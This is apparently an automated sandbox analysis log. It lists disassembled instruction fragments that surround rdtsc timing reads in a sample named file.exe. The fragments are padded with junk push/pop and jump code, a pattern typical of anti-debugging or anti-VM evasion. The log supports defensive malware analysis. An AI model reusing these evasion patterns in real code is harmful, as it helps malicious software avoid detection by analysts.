Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B83E4 second address: 9B83F5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F01F0E69E26h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B83F5 second address: 9B841E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 jmp 00007F01F07425D6h 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jo 00007F01F07425C6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF40C second address: 9BF410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF410 second address: 9BF416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF416 second address: 9BF42E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E32h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF42E second address: 9BF432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF432 second address: 9BF459 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 push edx 0x00000014 pop edx 0x00000015 jne 00007F01F0E69E26h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF5F0 second address: 9BF5FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jc 00007F01F07425C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF5FB second address: 9BF603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF603 second address: 9BF609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFCE6 second address: 9BFD1D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F01F0E69E30h 0x00000008 jmp 00007F01F0E69E2Ah 0x0000000d jne 00007F01F0E69E28h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push esi 0x00000019 pop esi 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c popad 0x0000001d jmp 00007F01F0E69E33h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0048 second address: 9C004F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C021A second address: 9C023D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E39h 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F01F0E69E26h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C1153 second address: 9C1157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C1157 second address: 9C1166 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E2Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7C80 second address: 9C7C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C792D second address: 9C7937 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F01F0E69E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7937 second address: 9C7941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F01F07425C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7941 second address: 9C7945 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2D68 second address: 9D2D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F01F07425CCh 0x00000009 pushad 0x0000000a jmp 00007F01F07425D5h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2D92 second address: 9D2D9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2D9B second address: 9D2DA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F01F07425C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2DA5 second address: 9D2DB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E2Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D69BB second address: 9D69C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D69C3 second address: 9D69C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D69C7 second address: 9D69F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F01F07425D0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jne 00007F01F07425C6h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 jc 00007F01F07425D0h 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D6382 second address: 9D63C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F01F0E69E31h 0x0000000e pushad 0x0000000f jmp 00007F01F0E69E2Fh 0x00000014 jmp 00007F01F0E69E35h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D63C2 second address: 9D63C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D63C7 second address: 9D63CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D63CD second address: 9D63D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D63D3 second address: 9D63E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 js 00007F01F0E69E26h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DAFED second address: 9DB037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push ebx 0x00000008 jne 00007F01F07425C6h 0x0000000e pop ebx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push edx 0x00000013 pop edx 0x00000014 jc 00007F01F07425C6h 0x0000001a popad 0x0000001b jmp 00007F01F07425D3h 0x00000020 popad 0x00000021 push eax 0x00000022 pushad 0x00000023 jmp 00007F01F07425D7h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9728 second address: 9E9732 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F01F0E69E2Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EFBFF second address: 9EFC09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EFC09 second address: 9EFC0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EFC0D second address: 9EFC1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EFC1F second address: 9EFC2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F01F0E69E26h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EFDA2 second address: 9EFDA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EFDA8 second address: 9EFDAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0373 second address: 9F0377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0377 second address: 9F0392 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0392 second address: 9F0396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F10A4 second address: 9F10B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jbe 00007F01F0E69E26h 0x0000000c popad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F10B4 second address: 9F10CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 js 00007F01F07425EAh 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 jns 00007F01F07425C6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F10CA second address: 9F10D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F01F0E69E26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F10D9 second address: 9F10DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A007A9 second address: A007D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F01F0E69E39h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007F01F0E69E2Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15551 second address: A15555 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15555 second address: A15561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15561 second address: A15565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2526B second address: A25285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F01F0E69E31h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A25285 second address: A25289 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A25405 second address: A25415 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F01F0E69E2Ah 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A25704 second address: A2570E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2A414 second address: A2A41F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F01F0E69E26h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D8F6 second address: A2D900 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F01F07425CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C304B2 second address: 4C304CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C304CA second address: 4C304D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C304D0 second address: 4C30527 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, esi 0x00000005 pushfd 0x00000006 jmp 00007F01F0E69E2Ch 0x0000000b adc al, FFFFFFD8h 0x0000000e jmp 00007F01F0E69E2Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov ch, 6Dh 0x0000001d pushfd 0x0000001e jmp 00007F01F0E69E37h 0x00000023 jmp 00007F01F0E69E33h 0x00000028 popfd 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C305FF second address: 4C3064A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 12A8h 0x00000007 jmp 00007F01F07425D1h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F01F07425CEh 0x00000015 push eax 0x00000016 jmp 00007F01F07425CBh 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F01F07425D0h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C3064A second address: 4C30659 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30659 second address: 4C3065F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C3065F second address: 4C30663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94A4B1 second address: 94A4B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94A4B7 second address: 94A4BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94A4BB second address: 94A4CE instructions: 0x00000000 rdtsc 0x00000002 jng 00007F01F07425C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94A4CE second address: 94A4D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94A4D2 second address: 94A4D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30DA3 second address: 4C30DA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30DA9 second address: 4C30DBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e mov di, CDDCh 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30DBC second address: 4C30DEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov edx, esi 0x0000000d movzx esi, bx 0x00000010 popad 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F01F0E69E30h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30DEE second address: 4C30DF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30DF4 second address: 4C30E15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F01F0E69E34h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30EB5 second address: 4C30DA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 movzx ecx, dx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebp 0x0000000d jmp 00007F01F07425D3h 0x00000012 retn 0008h 0x00000015 nop 0x00000016 mov dword ptr [007770C0h], eax 0x0000001b push 004C1310h 0x00000020 mov ecx, dword ptr [007770A8h] 0x00000026 push ecx 0x00000027 call 00007F01F4EC9262h 0x0000002c mov edi, edi 0x0000002e jmp 00007F01F07425D0h 0x00000033 xchg eax, ebp 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F01F07425D7h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C501AD second address: 4C501F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F01F0E69E35h 0x00000009 sub cl, 00000026h 0x0000000c jmp 00007F01F0E69E31h 0x00000011 popfd 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F01F0E69E33h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C501F6 second address: 4C50246 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 mov di, 2236h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F01F07425D3h 0x00000015 adc eax, 36C64ABEh 0x0000001b jmp 00007F01F07425D9h 0x00000020 popfd 0x00000021 mov ecx, 41017807h 0x00000026 popad 0x00000027 xchg eax, ecx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50246 second address: 4C5024A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5024A second address: 4C50250 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50250 second address: 4C502D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F01F0E69E2Ch 0x00000009 jmp 00007F01F0E69E35h 0x0000000e popfd 0x0000000f jmp 00007F01F0E69E30h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 pushad 0x00000019 mov edi, 769C6DF4h 0x0000001e pushfd 0x0000001f jmp 00007F01F0E69E2Dh 0x00000024 xor ah, FFFFFFB6h 0x00000027 jmp 00007F01F0E69E31h 0x0000002c popfd 0x0000002d popad 0x0000002e xchg eax, ecx 0x0000002f jmp 00007F01F0E69E2Eh 0x00000034 xchg eax, ecx 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F01F0E69E2Ah 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C502D2 second address: 4C502E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F07425CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C502E1 second address: 4C502E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C502E7 second address: 4C502FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F01F07425CDh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C502FF second address: 4C50305 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50305 second address: 4C50351 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F07425D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F01F07425CBh 0x00000015 add ecx, 1822305Eh 0x0000001b jmp 00007F01F07425D9h 0x00000020 popfd 0x00000021 mov ebx, eax 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50351 second address: 4C50390 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 mov esi, edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push dword ptr [ebp+08h] 0x0000000d pushad 0x0000000e mov ax, dx 0x00000011 mov cx, dx 0x00000014 popad 0x00000015 lea eax, dword ptr [ebp-08h] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F01F0E69E2Eh 0x00000021 or eax, 30747EB8h 0x00000027 jmp 00007F01F0E69E2Bh 0x0000002c popfd 0x0000002d pushad 0x0000002e popad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5046D second address: 4C5047C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F07425CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5047C second address: 4C504B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F01F0E69E2Fh 0x00000009 add ecx, 3CE820BEh 0x0000000f jmp 00007F01F0E69E39h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
